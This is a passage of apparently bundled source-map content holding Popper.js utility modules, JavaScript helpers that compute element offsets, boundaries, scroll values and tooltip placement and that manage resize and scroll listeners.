{Boolean} isIE\n */\nexport default function isIE(version) {\n  if (version === 11) {\n    return isIE11;\n  }\n  if (version === 10) {\n    return isIE10;\n  }\n  return isIE11 || isIE10;\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport isIE from './isIE';\n/**\n * Returns the offset parent of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} offset parent\n */\nexport default function getOffsetParent(element) {\n  if (!element) {\n    return document.documentElement;\n  }\n\n  const noOffsetParent = isIE(10) ? document.body : null;\n\n  // NOTE: 1 DOM access here\n  let offsetParent = element.offsetParent || null;\n  // Skip hidden elements which don't have an offsetParent\n  while (offsetParent === noOffsetParent && element.nextElementSibling) {\n    offsetParent = (element = element.nextElementSibling).offsetParent;\n  }\n\n  const nodeName = offsetParent && offsetParent.nodeName;\n\n  if (!nodeName || nodeName === 'BODY' || nodeName === 'HTML') {\n    return element ? element.ownerDocument.documentElement : document.documentElement;\n  }\n\n  // .offsetParent will return the closest TH, TD or TABLE in case\n  // no offsetParent is present, I hate this job...\n  if (\n    ['TH', 'TD', 'TABLE'].indexOf(offsetParent.nodeName) !== -1 &&\n    getStyleComputedProperty(offsetParent, 'position') === 'static'\n  ) {\n    return getOffsetParent(offsetParent);\n  }\n\n  return offsetParent;\n}\n","import getOffsetParent from './getOffsetParent';\n\nexport default function isOffsetContainer(element) {\n  const { nodeName } = element;\n  if (nodeName === 'BODY') {\n    return false;\n  }\n  return (\n    nodeName === 'HTML' || getOffsetParent(element.firstElementChild) === element\n  );\n}\n","/**\n * Finds the root node (document, shadowDOM root) of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} node\n * @returns {Element} root node\n */\nexport default function getRoot(node) {\n  if (node.parentNode !== null) {\n    return getRoot(node.parentNode);\n  }\n\n  return node;\n}\n","import isOffsetContainer from './isOffsetContainer';\nimport getRoot from './getRoot';\nimport getOffsetParent from './getOffsetParent';\n\n/**\n * Finds the offset parent common to the two provided nodes\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element1\n * @argument {Element} element2\n * @returns {Element} common offset parent\n */\nexport default function findCommonOffsetParent(element1, element2) {\n  // This check is needed to avoid errors in case one of the elements isn't defined for any reason\n  if (!element1 || !element1.nodeType || !element2 || !element2.nodeType) {\n    return document.documentElement;\n  }\n\n  // Here we make sure to give as \"start\" the element that comes first in the DOM\n  const order =\n    element1.compareDocumentPosition(element2) &\n    Node.DOCUMENT_POSITION_FOLLOWING;\n  const start = order ? element1 : element2;\n  const end = order ? element2 : element1;\n\n  // Get common ancestor container\n  const range = document.createRange();\n  range.setStart(start, 0);\n  range.setEnd(end, 0);\n  const { commonAncestorContainer } = range;\n\n  // Both nodes are inside #document\n  if (\n    (element1 !== commonAncestorContainer &&\n      element2 !== commonAncestorContainer) ||\n    start.contains(end)\n  ) {\n    if (isOffsetContainer(commonAncestorContainer)) {\n      return commonAncestorContainer;\n    }\n\n    return getOffsetParent(commonAncestorContainer);\n  }\n\n  // one of the nodes is inside shadowDOM, find which one\n  const element1root = getRoot(element1);\n  if (element1root.host) {\n    return findCommonOffsetParent(element1root.host, element2);\n  } else {\n    return findCommonOffsetParent(element1, getRoot(element2).host);\n  }\n}\n","/**\n * Gets the scroll value of the given element in the given side (top and left)\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @argument {String} side `top` or `left`\n * @returns {number} amount of scrolled pixels\n */\nexport default function getScroll(element, side = 'top') {\n  const upperSide = side === 'top' ? 'scrollTop' : 'scrollLeft';\n  const nodeName = element.nodeName;\n\n  if (nodeName === 'BODY' || nodeName === 'HTML') {\n    const html = element.ownerDocument.documentElement;\n    const scrollingElement = element.ownerDocument.scrollingElement || html;\n    return scrollingElement[upperSide];\n  }\n\n  return element[upperSide];\n}\n","import getScroll from './getScroll';\n\n/*\n * Sum or subtract the element scroll values (left and top) from a given rect object\n * @method\n * @memberof Popper.Utils\n * @param {Object} rect - Rect object you want to change\n * @param {HTMLElement} element - The element from the function reads the scroll values\n * @param {Boolean} subtract - set to true if you want to subtract the scroll values\n * @return {Object} rect - The modifier rect object\n */\nexport default function includeScroll(rect, element, subtract = false) {\n  const scrollTop = getScroll(element, 'top');\n  const scrollLeft = getScroll(element, 'left');\n  const modifier = subtract ? -1 : 1;\n  rect.top += scrollTop * modifier;\n  rect.bottom += scrollTop * modifier;\n  rect.left += scrollLeft * modifier;\n  rect.right += scrollLeft * modifier;\n  return rect;\n}\n","/*\n * Helper to detect borders of a given element\n * @method\n * @memberof Popper.Utils\n * @param {CSSStyleDeclaration} styles\n * Result of `getStyleComputedProperty` on the given element\n * @param {String} axis - `x` or `y`\n * @return {number} borders - The borders size of the given axis\n */\n\nexport default function getBordersSize(styles, axis) {\n  const sideA = axis === 'x' ? 'Left' : 'Top';\n  const sideB = sideA === 'Left' ? 'Right' : 'Bottom';\n\n  return (\n    parseFloat(styles[`border${sideA}Width`], 10) +\n    parseFloat(styles[`border${sideB}Width`], 10)\n  );\n}\n","import isIE from './isIE';\n\nfunction getSize(axis, body, html, computedStyle) {\n  return Math.max(\n    body[`offset${axis}`],\n    body[`scroll${axis}`],\n    html[`client${axis}`],\n    html[`offset${axis}`],\n    html[`scroll${axis}`],\n    isIE(10)\n      ? (parseInt(html[`offset${axis}`]) + \n      parseInt(computedStyle[`margin${axis === 'Height' ? 'Top' : 'Left'}`]) + \n      parseInt(computedStyle[`margin${axis === 'Height' ? 'Bottom' : 'Right'}`]))\n    : 0 \n  );\n}\n\nexport default function getWindowSizes(document) {\n  const body = document.body;\n  const html = document.documentElement;\n  const computedStyle = isIE(10) && getComputedStyle(html);\n\n  return {\n    height: getSize('Height', body, html, computedStyle),\n    width: getSize('Width', body, html, computedStyle),\n  };\n}\n","/**\n * Given element offsets, generate an output similar to getBoundingClientRect\n * @method\n * @memberof Popper.Utils\n * @argument {Object} offsets\n * @returns {Object} ClientRect like output\n */\nexport default function getClientRect(offsets) {\n  return {\n    ...offsets,\n    right: offsets.left + offsets.width,\n    bottom: offsets.top + offsets.height,\n  };\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport getBordersSize from './getBordersSize';\nimport getWindowSizes from './getWindowSizes';\nimport getScroll from './getScroll';\nimport getClientRect from './getClientRect';\nimport isIE from './isIE';\n\n/**\n * Get bounding client rect of given element\n * @method\n * @memberof Popper.Utils\n * @param {HTMLElement} element\n * @return {Object} client rect\n */\nexport default function getBoundingClientRect(element) {\n  let rect = {};\n\n  // IE10 10 FIX: Please, don't ask, the element isn't\n  // considered in DOM in some circumstances...\n  // This isn't reproducible in IE10 compatibility mode of IE11\n  try {\n    if (isIE(10)) {\n      rect = element.getBoundingClientRect();\n      const scrollTop = getScroll(element, 'top');\n      const scrollLeft = getScroll(element, 'left');\n      rect.top += scrollTop;\n      rect.left += scrollLeft;\n      rect.bottom += scrollTop;\n      rect.right += scrollLeft;\n    }\n    else {\n      rect = element.getBoundingClientRect();\n    }\n  }\n  catch(e){}\n\n  const result = {\n    left: rect.left,\n    top: rect.top,\n    width: rect.right - rect.left,\n    height: rect.bottom - rect.top,\n  };\n\n  // subtract scrollbar size from sizes\n  const sizes = element.nodeName === 'HTML' ? getWindowSizes(element.ownerDocument) : {};\n  const width =\n    sizes.width || element.clientWidth || result.right - result.left;\n  const height =\n    sizes.height || element.clientHeight || result.bottom - result.top;\n\n  let horizScrollbar = element.offsetWidth - width;\n  let vertScrollbar = element.offsetHeight - height;\n\n  // if an hypothetical scrollbar is detected, we must be sure it's not a `border`\n  // we make this check conditional for performance reasons\n  if (horizScrollbar || vertScrollbar) {\n    const styles = getStyleComputedProperty(element);\n    horizScrollbar -= getBordersSize(styles, 'x');\n    vertScrollbar -= getBordersSize(styles, 'y');\n\n    result.width -= horizScrollbar;\n    result.height -= vertScrollbar;\n  }\n\n  return getClientRect(result);\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport includeScroll from './includeScroll';\nimport getScrollParent from './getScrollParent';\nimport getBoundingClientRect from './getBoundingClientRect';\nimport runIsIE from './isIE';\nimport getClientRect from './getClientRect';\n\nexport default function getOffsetRectRelativeToArbitraryNode(children, parent, fixedPosition = false) {\n  const isIE10 = runIsIE(10);\n  const isHTML = parent.nodeName === 'HTML';\n  const childrenRect = getBoundingClientRect(children);\n  const parentRect = getBoundingClientRect(parent);\n  const scrollParent = getScrollParent(children);\n\n  const styles = getStyleComputedProperty(parent);\n  const borderTopWidth = parseFloat(styles.borderTopWidth, 10);\n  const borderLeftWidth = parseFloat(styles.borderLeftWidth, 10);\n\n  // In cases where the parent is fixed, we must ignore negative scroll in offset calc\n  if(fixedPosition && isHTML) {\n    parentRect.top = Math.max(parentRect.top, 0);\n    parentRect.left = Math.max(parentRect.left, 0);\n  }\n  let offsets = getClientRect({\n    top: childrenRect.top - parentRect.top - borderTopWidth,\n    left: childrenRect.left - parentRect.left - borderLeftWidth,\n    width: childrenRect.width,\n    height: childrenRect.height,\n  });\n  offsets.marginTop = 0;\n  offsets.marginLeft = 0;\n\n  // Subtract margins of documentElement in case it's being used as parent\n  // we do this only on HTML because it's the only element that behaves\n  // differently when margins are applied to it. The margins are included in\n  // the box of the documentElement, in the other cases not.\n  if (!isIE10 && isHTML) {\n    const marginTop = parseFloat(styles.marginTop, 10);\n    const marginLeft = parseFloat(styles.marginLeft, 10);\n\n    offsets.top -= borderTopWidth - marginTop;\n    offsets.bottom -= borderTopWidth - marginTop;\n    offsets.left -= borderLeftWidth - marginLeft;\n    offsets.right -= borderLeftWidth - marginLeft;\n\n    // Attach marginTop and marginLeft because in some circumstances we may need them\n    offsets.marginTop = marginTop;\n    offsets.marginLeft = marginLeft;\n  }\n\n  if (\n    isIE10 && !fixedPosition\n      ? parent.contains(scrollParent)\n      : parent === scrollParent && scrollParent.nodeName !== 'BODY'\n  ) {\n    offsets = includeScroll(offsets, parent);\n  }\n\n  return offsets;\n}\n","import getOffsetRectRelativeToArbitraryNode from './getOffsetRectRelativeToArbitraryNode';\nimport getScroll from './getScroll';\nimport getClientRect from './getClientRect';\n\nexport default function getViewportOffsetRectRelativeToArtbitraryNode(element, excludeScroll = false) {\n  const html = element.ownerDocument.documentElement;\n  const relativeOffset = getOffsetRectRelativeToArbitraryNode(element, html);\n  const width = Math.max(html.clientWidth, window.innerWidth || 0);\n  const height = Math.max(html.clientHeight, window.innerHeight || 0);\n\n  const scrollTop = !excludeScroll ? getScroll(html) : 0;\n  const scrollLeft = !excludeScroll ? getScroll(html, 'left') : 0;\n\n  const offset = {\n    top: scrollTop - relativeOffset.top + relativeOffset.marginTop,\n    left: scrollLeft - relativeOffset.left + relativeOffset.marginLeft,\n    width,\n    height,\n  };\n\n  return getClientRect(offset);\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport getParentNode from './getParentNode';\n\n/**\n * Check if the given element is fixed or is inside a fixed parent\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @argument {Element} customContainer\n * @returns {Boolean} answer to \"isFixed?\"\n */\nexport default function isFixed(element) {\n  const nodeName = element.nodeName;\n  if (nodeName === 'BODY' || nodeName === 'HTML') {\n    return false;\n  }\n  if (getStyleComputedProperty(element, 'position') === 'fixed') {\n    return true;\n  }\n  return isFixed(getParentNode(element));\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport isIE from './isIE';\n/**\n * Finds the first parent of an element that has a transformed property defined\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} first transformed parent or documentElement\n */\n\nexport default function getFixedPositionOffsetParent(element) {\n  // This check is needed to avoid errors in case one of the elements isn't defined for any reason\n   if (!element || !element.parentElement || isIE()) {\n    return document.documentElement;\n  }\n  let el = element.parentElement;\n  while (el && getStyleComputedProperty(el, 'transform') === 'none') {\n    el = el.parentElement;\n  }\n  return el || document.documentElement;\n\n}\n","import getScrollParent from './getScrollParent';\nimport getParentNode from './getParentNode';\nimport findCommonOffsetParent from './findCommonOffsetParent';\nimport getOffsetRectRelativeToArbitraryNode from './getOffsetRectRelativeToArbitraryNode';\nimport getViewportOffsetRectRelativeToArtbitraryNode from './getViewportOffsetRectRelativeToArtbitraryNode';\nimport getWindowSizes from './getWindowSizes';\nimport isFixed from './isFixed';\nimport getFixedPositionOffsetParent from './getFixedPositionOffsetParent';\n\n/**\n * Computed the boundaries limits and return them\n * @method\n * @memberof Popper.Utils\n * @param {HTMLElement} popper\n * @param {HTMLElement} reference\n * @param {number} padding\n * @param {HTMLElement} boundariesElement - Element used to define the boundaries\n * @param {Boolean} fixedPosition - Is in fixed position mode\n * @returns {Object} Coordinates of the boundaries\n */\nexport default function getBoundaries(\n  popper,\n  reference,\n  padding,\n  boundariesElement,\n  fixedPosition = false\n) {\n  // NOTE: 1 DOM access here\n\n  let boundaries = { top: 0, left: 0 };\n  const offsetParent = fixedPosition ? getFixedPositionOffsetParent(popper) : findCommonOffsetParent(popper, reference);\n\n  // Handle viewport case\n  if (boundariesElement === 'viewport' ) {\n    boundaries = getViewportOffsetRectRelativeToArtbitraryNode(offsetParent, fixedPosition);\n  }\n\n  else {\n    // Handle other cases based on DOM element used as boundaries\n    let boundariesNode;\n    if (boundariesElement === 'scrollParent') {\n      boundariesNode = getScrollParent(getParentNode(reference));\n      if (boundariesNode.nodeName === 'BODY') {\n        boundariesNode = popper.ownerDocument.documentElement;\n      }\n    } else if (boundariesElement === 'window') {\n      boundariesNode = popper.ownerDocument.documentElement;\n    } else {\n      boundariesNode = boundariesElement;\n    }\n\n    const offsets = getOffsetRectRelativeToArbitraryNode(\n      boundariesNode,\n      offsetParent,\n      fixedPosition\n    );\n\n    // In case of HTML, we need a different computation\n    if (boundariesNode.nodeName === 'HTML' && !isFixed(offsetParent)) {\n      const { height, width } = getWindowSizes(popper.ownerDocument);\n      boundaries.top += offsets.top - offsets.marginTop;\n      boundaries.bottom = height + offsets.top;\n      boundaries.left += offsets.left - offsets.marginLeft;\n      boundaries.right = width + offsets.left;\n    } else {\n      // for all the other DOM elements, this one is good\n      boundaries = offsets;\n    }\n  }\n\n  // Add paddings\n  padding = padding || 0;\n  const isPaddingNumber = typeof padding === 'number';\n  boundaries.left += isPaddingNumber ? padding : padding.left || 0; \n  boundaries.top += isPaddingNumber ? padding : padding.top || 0; \n  boundaries.right -= isPaddingNumber ? padding : padding.right || 0; \n  boundaries.bottom -= isPaddingNumber ? padding : padding.bottom || 0; \n\n  return boundaries;\n}\n","import getBoundaries from '../utils/getBoundaries';\n\nfunction getArea({ width, height }) {\n  return width * height;\n}\n\n/**\n * Utility used to transform the `auto` placement to the placement with more\n * available space.\n * @method\n * @memberof Popper.Utils\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nexport default function computeAutoPlacement(\n  placement,\n  refRect,\n  popper,\n  reference,\n  boundariesElement,\n  padding = 0\n) {\n  if (placement.indexOf('auto') === -1) {\n    return placement;\n  }\n\n  const boundaries = getBoundaries(\n    popper,\n    reference,\n    padding,\n    boundariesElement\n  );\n\n  const rects = {\n    top: {\n      width: boundaries.width,\n      height: refRect.top - boundaries.top,\n    },\n    right: {\n      width: boundaries.right - refRect.right,\n      height: boundaries.height,\n    },\n    bottom: {\n      width: boundaries.width,\n      height: boundaries.bottom - refRect.bottom,\n    },\n    left: {\n      width: refRect.left - boundaries.left,\n      height: boundaries.height,\n    },\n  };\n\n  const sortedAreas = Object.keys(rects)\n    .map(key => ({\n      key,\n      ...rects[key],\n      area: getArea(rects[key]),\n    }))\n    .sort((a, b) => b.area - a.area);\n\n  const filteredAreas = sortedAreas.filter(\n    ({ width, height }) =>\n      width >= popper.clientWidth && height >= popper.clientHeight\n  );\n\n  const computedPlacement = filteredAreas.length > 0\n    ? filteredAreas[0].key\n    : sortedAreas[0].key;\n\n  const variation = placement.split('-')[1];\n\n  return computedPlacement + (variation ? `-${variation}` : '');\n}\n","import isBrowser from './isBrowser';\n\nconst longerTimeoutBrowsers = ['Edge', 'Trident', 'Firefox'];\nlet timeoutDuration = 0;\nfor (let i = 0; i < longerTimeoutBrowsers.length; i += 1) {\n  if (isBrowser && navigator.userAgent.indexOf(longerTimeoutBrowsers[i]) >= 0) {\n    timeoutDuration = 1;\n    break;\n  }\n}\n\nexport function microtaskDebounce(fn) {\n  let called = false\n  return () => {\n    if (called) {\n      return\n    }\n    called = true\n    window.Promise.resolve().then(() => {\n      called = false\n      fn()\n    })\n  }\n}\n\nexport function taskDebounce(fn) {\n  let scheduled = false;\n  return () => {\n    if (!scheduled) {\n      scheduled = true;\n      setTimeout(() => {\n        scheduled = false;\n        fn();\n      }, timeoutDuration);\n    }\n  };\n}\n\nconst supportsMicroTasks = isBrowser && window.Promise\n\n\n/**\n* Create a debounced version of a method, that's asynchronously deferred\n* but called in the minimum time possible.\n*\n* @method\n* @memberof Popper.Utils\n* @argument {Function} fn\n* @returns {Function}\n*/\nexport default (supportsMicroTasks\n  ? microtaskDebounce\n  : taskDebounce);\n","/**\n * Mimics the `find` method of Array\n * @method\n * @memberof Popper.Utils\n * @argument {Array} arr\n * @argument prop\n * @argument value\n * @returns index or -1\n */\nexport default function find(arr, check) {\n  // use native find if supported\n  if (Array.prototype.find) {\n    return arr.find(check);\n  }\n\n  // use `filter` to obtain the same behavior of `find`\n  return arr.filter(check)[0];\n}\n","import find from './find';\n\n/**\n * Return the index of the matching object\n * @method\n * @memberof Popper.Utils\n * @argument {Array} arr\n * @argument prop\n * @argument value\n * @returns index or -1\n */\nexport default function findIndex(arr, prop, value) {\n  // use native findIndex if supported\n  if (Array.prototype.findIndex) {\n    return arr.findIndex(cur => cur[prop] === value);\n  }\n\n  // use `find` + `indexOf` if `findIndex` isn't supported\n  const match = find(arr, obj => obj[prop] === value);\n  return arr.indexOf(match);\n}\n","import getWindowSizes from './getWindowSizes';\nimport getClientRect from './getClientRect';\n\n/**\n * Get the position of the given element, relative to its offset parent\n * @method\n * @memberof Popper.Utils\n * @param {Element} element\n * @return {Object} position - Coordinates of the element and its `scrollTop`\n */\nexport default function getOffsetRect(element) {\n  let elementRect;\n  if (element.nodeName === 'HTML') {\n    const { width, height } = getWindowSizes(element.ownerDocument);\n    elementRect = {\n      width,\n      height,\n      left: 0,\n      top: 0,\n    };\n  } else {\n    elementRect = {\n      width: element.offsetWidth,\n      height: element.offsetHeight,\n      left: element.offsetLeft,\n      top: element.offsetTop,\n    };\n  }\n\n  // position\n  return getClientRect(elementRect);\n}\n","/**\n * Get the outer sizes of the given element (offset size + margins)\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Object} object containing width and height properties\n */\nexport default function getOuterSizes(element) {\n  const window = element.ownerDocument.defaultView;\n  const styles = window.getComputedStyle(element);\n  const x = parseFloat(styles.marginTop) + parseFloat(styles.marginBottom);\n  const y = parseFloat(styles.marginLeft) + parseFloat(styles.marginRight);\n  const result = {\n    width: element.offsetWidth + y,\n    height: element.offsetHeight + x,\n  };\n  return result;\n}\n","/**\n * Get the opposite placement of the given one\n * @method\n * @memberof Popper.Utils\n * @argument {String} placement\n * @returns {String} flipped placement\n */\nexport default function getOppositePlacement(placement) {\n  const hash = { left: 'right', right: 'left', bottom: 'top', top: 'bottom' };\n  return placement.replace(/left|right|bottom|top/g, matched => hash[matched]);\n}\n","import getOuterSizes from './getOuterSizes';\nimport getOppositePlacement from './getOppositePlacement';\n\n/**\n * Get offsets to the popper\n * @method\n * @memberof Popper.Utils\n * @param {Object} position - CSS position the Popper will get applied\n * @param {HTMLElement} popper - the popper element\n * @param {Object} referenceOffsets - the reference offsets (the popper will be relative to this)\n * @param {String} placement - one of the valid placement options\n * @returns {Object} popperOffsets - An object containing the offsets which will be applied to the popper\n */\nexport default function getPopperOffsets(popper, referenceOffsets, placement) {\n  placement = placement.split('-')[0];\n\n  // Get popper node sizes\n  const popperRect = getOuterSizes(popper);\n\n  // Add position, width and height to our offsets object\n  const popperOffsets = {\n    width: popperRect.width,\n    height: popperRect.height,\n  };\n\n  // depending by the popper placement we have to compute its offsets slightly differently\n  const isHoriz = ['right', 'left'].indexOf(placement) !== -1;\n  const mainSide = isHoriz ? 'top' : 'left';\n  const secondarySide = isHoriz ? 'left' : 'top';\n  const measurement = isHoriz ? 'height' : 'width';\n  const secondaryMeasurement = !isHoriz ? 'height' : 'width';\n\n  popperOffsets[mainSide] =\n    referenceOffsets[mainSide] +\n    referenceOffsets[measurement] / 2 -\n    popperRect[measurement] / 2;\n  if (placement === secondarySide) {\n    popperOffsets[secondarySide] =\n      referenceOffsets[secondarySide] - popperRect[secondaryMeasurement];\n  } else {\n    popperOffsets[secondarySide] =\n      referenceOffsets[getOppositePlacement(secondarySide)];\n  }\n\n  return popperOffsets;\n}\n","import findCommonOffsetParent from './findCommonOffsetParent';\nimport getOffsetRectRelativeToArbitraryNode from './getOffsetRectRelativeToArbitraryNode';\nimport getFixedPositionOffsetParent from './getFixedPositionOffsetParent';\n\n/**\n * Get offsets to the reference element\n * @method\n * @memberof Popper.Utils\n * @param {Object} state\n * @param {Element} popper - the popper element\n * @param {Element} reference - the reference element (the popper will be relative to this)\n * @param {Element} fixedPosition - is in fixed position mode\n * @returns {Object} An object containing the offsets which will be applied to the popper\n */\nexport default function getReferenceOffsets(state, popper, reference, fixedPosition = null) {\n  const commonOffsetParent = fixedPosition ? getFixedPositionOffsetParent(popper) : findCommonOffsetParent(popper, reference);\n  return getOffsetRectRelativeToArbitraryNode(reference, commonOffsetParent, fixedPosition);\n}\n","/**\n * Get the prefixed supported property name\n * @method\n * @memberof Popper.Utils\n * @argument {String} property (camelCase)\n * @returns {String} prefixed property (camelCase or PascalCase, depending on the vendor prefix)\n */\nexport default function getSupportedPropertyName(property) {\n  const prefixes = [false, 'ms', 'Webkit', 'Moz', 'O'];\n  const upperProp = property.charAt(0).toUpperCase() + property.slice(1);\n\n  for (let i = 0; i < prefixes.length; i++) {\n    const prefix = prefixes[i];\n    const toCheck = prefix ? `${prefix}${upperProp}` : property;\n    if (typeof document.body.style[toCheck] !== 'undefined') {\n      return toCheck;\n    }\n  }\n  return null;\n}\n","/**\n * Check if the given variable is a function\n * @method\n * @memberof Popper.Utils\n * @argument {Any} functionToCheck - variable to check\n * @returns {Boolean} answer to: is a function?\n */\nexport default function isFunction(functionToCheck) {\n  const getType = {};\n  return (\n    functionToCheck &&\n    getType.toString.call(functionToCheck) === '[object Function]'\n  );\n}\n","/**\n * Helper used to know if the given modifier is enabled.\n * @method\n * @memberof Popper.Utils\n * @returns {Boolean}\n */\nexport default function isModifierEnabled(modifiers, modifierName) {\n  return modifiers.some(\n    ({ name, enabled }) => enabled && name === modifierName\n  );\n}\n","import find from './find';\n\n/**\n * Helper used to know if the given modifier depends from another one.<br />\n * It checks if the needed modifier is listed and enabled.\n * @method\n * @memberof Popper.Utils\n * @param {Array} modifiers - list of modifiers\n * @param {String} requestingName - name of requesting modifier\n * @param {String} requestedName - name of requested modifier\n * @returns {Boolean}\n */\nexport default function isModifierRequired(\n  modifiers,\n  requestingName,\n  requestedName\n) {\n  const requesting = find(modifiers, ({ name }) => name === requestingName);\n\n  const isRequired =\n    !!requesting &&\n    modifiers.some(modifier => {\n      return (\n        modifier.name === requestedName &&\n        modifier.enabled &&\n        modifier.order < requesting.order\n      );\n    });\n\n  if (!isRequired) {\n    const requesting = `\\`${requestingName}\\``;\n    const requested = `\\`${requestedName}\\``;\n    console.warn(\n      `${requested} modifier is required by ${requesting} modifier in order to work, be sure to include it before ${requesting}!`\n    );\n  }\n  return isRequired;\n}\n","/**\n * Tells if a given input is a number\n * @method\n * @memberof Popper.Utils\n * @param {*} input to check\n * @return {Boolean}\n */\nexport default function isNumeric(n) {\n  return n !== '' && !isNaN(parseFloat(n)) && isFinite(n);\n}\n","/**\n * Get the window associated with the element\n * @argument {Element} element\n * @returns {Window}\n */\nexport default function getWindow(element) {\n  const ownerDocument = element.ownerDocument;\n  return ownerDocument ? ownerDocument.defaultView : window;\n}\n","import getWindow from './getWindow';\n\n/**\n * Remove event listeners used to update the popper position\n * @method\n * @memberof Popper.Utils\n * @private\n */\nexport default function removeEventListeners(reference, state) {\n  // Remove resize event listener on window\n  getWindow(reference).removeEventListener('resize', state.updateBound);\n\n  // Remove scroll event listener on scroll parents\n  state.scrollParents.forEach(target => {\n    target.removeEventListener('scroll', state.updateBound);\n  });\n\n  // Reset state\n  state.updateBound = null;\n  state.scrollParents = [];\n  state.scrollElement = null;\n  state.eventsEnabled = false;\n  return state;\n}\n","import isFunction from './isFunction';\nimport findIndex from './findIndex';\nimport getClientRect from '../utils/getClientRect';\n\n/**\n * Loop trough the list of modifiers and run them in order,\n * each of them will then edit the data object.\n * @method\n * @memberof Popper.Utils\n * @param {dataObject} data\n * @param {Array} modifiers\n * @param {String} ends - Optional modifier name used as stopper\n * @returns {dataObject}\n */\nexport default function runModifiers(modifiers, data, ends) {\n  const modifiersToRun = ends === undefined\n    ? modifiers\n    : modifiers.slice(0, findIndex(modifiers, 'name', ends));\n\n  modifiersToRun.forEach(modifier => {\n    if (modifier['function']) { // eslint-disable-line dot-notation\n      console.warn('`modifier.function` is deprecated, use `modifier.fn`!');\n    }\n    const fn = modifier['function'] || modifier.fn; // eslint-disable-line dot-notation\n    if (modifier.enabled && isFunction(fn)) {\n      // Add properties to offsets to make them a complete clientRect object\n      // we do this before each modifier to make sure the previous one doesn't\n      // mess with these values\n      data.offsets.popper = getClientRect(data.offsets.popper);\n      data.offsets.reference = getClientRect(data.offsets.reference);\n\n      data = fn(data, modifier);\n    }\n  });\n\n  return data;\n}\n","/**\n * Set the attributes to the given popper\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element - Element to apply the attributes to\n * @argument {Object} styles\n * Object with a list of properties and values which will be applied to the element\n */\nexport default function setAttributes(element, attributes) {\n  Object.keys(attributes).forEach(function(prop) {\n    const value = attributes[prop];\n    if (value !== false) {\n      element.setAttribute(prop, attributes[prop]);\n    } else {\n      element.removeAttribute(prop);\n    }\n  });\n}\n","import isNumeric from './isNumeric';\n\n/**\n * Set the style to the given popper\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element - Element to apply the style to\n * @argument {Object} styles\n * Object with a list of properties and values which will be applied to the element\n */\nexport default function setStyles(element, styles) {\n  Object.keys(styles).forEach(prop => {\n    let unit = '';\n    // add unit if the value is numeric and is one of the following\n    if (\n      ['width', 'height', 'top', 'right', 'bottom', 'left'].indexOf(prop) !==\n        -1 &&\n      isNumeric(styles[prop])\n    ) {\n      unit = 'px';\n    }\n    element.style[prop] = styles[prop] + unit;\n  });\n}\n","import getScrollParent from './getScrollParent';\nimport getWindow from './getWindow';\n\nfunction attachToScrollParents(scrollParent, event, callback, scrollParents) {\n  const isBody = scrollParent.nodeName === 'BODY';\n  const target = isBody ? scrollParent.ownerDocument.defaultView : scrollParent;\n  target.addEventListener(event, callback, { passive: true });\n\n  if (!isBody) {\n    attachToScrollParents(\n      getScrollParent(target.parentNode),\n      event,\n      callback,\n      scrollParents\n    );\n  }\n  scrollParents.push(target);\n}\n\n/**\n * Setup needed event listeners used to update the popper position\n * @method\n * @memberof Popper.Utils\n * @private\n */\nexport default function setupEventListeners(\n  reference,\n  options,\n  state,\n  updateBound\n) {\n  // Resize event listener on window\n  state.updateBound = updateBound;\n  getWindow(reference).addEventListener('resize', state.updateBound, { passive: true });\n\n  // Scroll event listener on scroll parents\n  const scrollElement = getScrollParent(reference);\n  attachToScrollParents(\n    scrollElement,\n    'scroll',\n    state.updateBound,\n    state.scrollParents\n  );\n  state.scrollElement = scrollElement;\n  state.eventsEnabled = true;\n\n  return state;\n}\n","import computeAutoPlacement from './computeAutoPlacement';\nimport debounce from './debounce';\nimport findIndex from './findIndex';\nimport getBordersSize from './getBordersSize';\nimport getBoundaries from './getBoundaries';\nimport getBoundingClientRect from './getBoundingClientRect';\nimport getClientRect from './getClientRect';\nimport getOffsetParent from './getOffsetParent';\nimport getOffsetRect from './getOffsetRect';\nimport getOffsetRectRelativeToArbitraryNode from './getOffsetRectRelativeToArbitraryNode';\nimport getOuterSizes from './getOuterSizes';\nimport getParentNode from './getParentNode';\nimport getPopperOffsets from './getPopperOffsets';\nimport getReferenceOffsets from './getReferenceOffsets';\nimport getScroll from './getScroll';\nimport getScrollParent from './getScrollParent';\nimport getStyleComputedProperty from './getStyleComputedProperty';\nimport getSupportedPropertyName from './getSupportedPropertyName';\nimport getWindowSizes from './getWindowSizes';\nimport isFixed from './isFixed';\nimport isFunction from './isFunction';\nimport isModifierEnabled from './isModifierEnabled';\nimport isModifierRequired from './isModifierRequired';\nimport isNumeric from './isNumeric';\nimport removeEventListeners from './removeEventListeners';\nimport runModifiers from './runModifiers';\nimport setAttributes from './setAttributes';\nimport setStyles from './setStyles';\nimport setupEventListeners from './setupEventListeners';\n\n/** @namespace Popper.Utils */\nexport {\n  computeAutoPlacement,\n  debounce,\n  findIndex,\n  getBordersSize,\n  getBoundaries,\n  getBoundingClientRect,\n  getClientRect,\n  getOffsetParent,\n  getOffsetRect,\n  getOffsetRectRelativeToArbitraryNode,\n  getOuterSizes,\n  getParentNode,\n  getPopperOffsets,\n  getReferenceOffsets,\n  getScroll,\n  getScrollParent,\n  getStyleComputedProperty,\n  getSupportedPropertyName,\n  getWindowSizes,\n  isFixed,\n  isFunction,\n  isModifierEnabled,\n  isModifierRequired,\n  isNumeric,\n  removeEventListeners,\n  runModifiers,\n  setAttributes,\n  setStyles,\n  setupEventListeners,\n};\n\n// This is here just for backward compatibility with versions lower than v1.10.3\n// you should import the utilities using named exports, if you want them all use:\n// ```\n// import * as PopperUtils from 'popper-utils';\n// ```\n// The default export will be removed in the next major version.\nexport default {\n  computeAutoPlacement,\n  